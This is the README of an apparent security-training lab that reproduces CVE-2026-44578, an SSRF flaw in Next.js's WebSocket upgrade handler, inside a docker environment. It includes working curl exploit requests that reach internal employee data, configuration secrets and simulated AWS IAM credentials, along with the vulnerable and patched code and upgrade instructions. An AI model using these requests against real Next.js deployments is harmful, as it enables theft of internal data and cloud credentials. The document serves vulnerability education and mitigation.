
Exploit de prueba de concepto para CVE-2026-44578 que reproduce la condición vulnerable, permitiendo a los investigadores de seguridad validar los sistemas afectados y evaluar las mitigaciones.
Proyecto CERT de la Academia de Seguridad Entorno práctico de reproducción de vulnerabilidades para la demostración del mentor
| Elemento | Contenido |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (Alto) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Versiones afectadas | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Versiones parcheadas | 15.5.16+, 16.2.5+ |
| Requiere autenticación | No (Unauthenticated) |
Vulnerabilidad en la que el manejador de actualización de WebSocket de Next.js (upgradeHandler) reenvía sin validación la
URI en forma absoluta (RFC 7230 §5.3.2) insertada en la línea de solicitud HTTP hacia un servicio interno.
Permite enviar solicitudes HTTP arbitrarias a servicios internos inaccesibles desde el exterior (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, versión vulnerable) └── internal-svc (FastAPI + SQLite, exclusivo de red interna)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
Una vez completada la compilación, Next.js tarda de 30 a 60 segundos en estar listo.
Verificación de preparación:
curl -s http://localhost:3000/api/hello | grep ok
Una solicitud HTTP normal incluye solo la ruta en la forma GET /path HTTP/1.1,
pero RFC 7230 §5.3.2 permite la forma absoluta (absolute-form), que coloca la URL completa en la línea de solicitud.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← URI en forma absoluta Host: localhost:3000 Connection: Upgrade Upgrade: websocket
El upgradeHandler de Next.js analiza esta URL y, si existe parsedUrl.protocol,
llama a proxyRequest() sin validar el destino.
Con la opción curl --request-target se puede especificar directamente la línea de solicitud.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ Devuelve nombre, correo electrónico, salario y hash bcrypt en su totalidad
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
En cuanto exista parsedUrl.protocol, se aplica el proxy de inmediato. Ya sea que el host de destino sea una IP interna o
IMDS (169.254.169.254), se reenvía sin condiciones.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished es true solo dentro de resolveRoutes cuando la solicitud coincide con una ruta normal.
Los URI en forma absoluta no coinciden con rutas normales, por lo que finished === false → bloqueo del proxy.
patch-for-lab.js)En el entorno de reproducción de la vulnerabilidad, resolve-routes.js malinterpreta :// como barras consecutivas
y la reducción de http://host/path a http:/host/path bloquea el SSRF de forma accidental.
patch-for-lab.js desactiva este comportamiento para que la vulnerabilidad se reproduzca correctamente.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
Aplicar directamente la lógica del parche oficial a la versión actual con patch-defense.js incluido en este laboratorio:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
Tras aplicar el parche, las solicitudes SSRF se bloquean sin respuesta.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # parche de resolve-routes (para reproducir SSRF) │ ├── patch-defense.js # parche de defensa de router-server (para demostrar la defensa mediante modificación del código) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # servicio interno FastAPI (SQLite + simulación de IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # script de demostración automática de 6 pasos
Este repositorio se proporciona únicamente con fines de educación en seguridad e investigación de vulnerabilidades.
El uso para ataques no autorizados contra servicios reales es ilegal,
y todas las pruebas deben realizarse únicamente en entornos propios o con autorización explícita.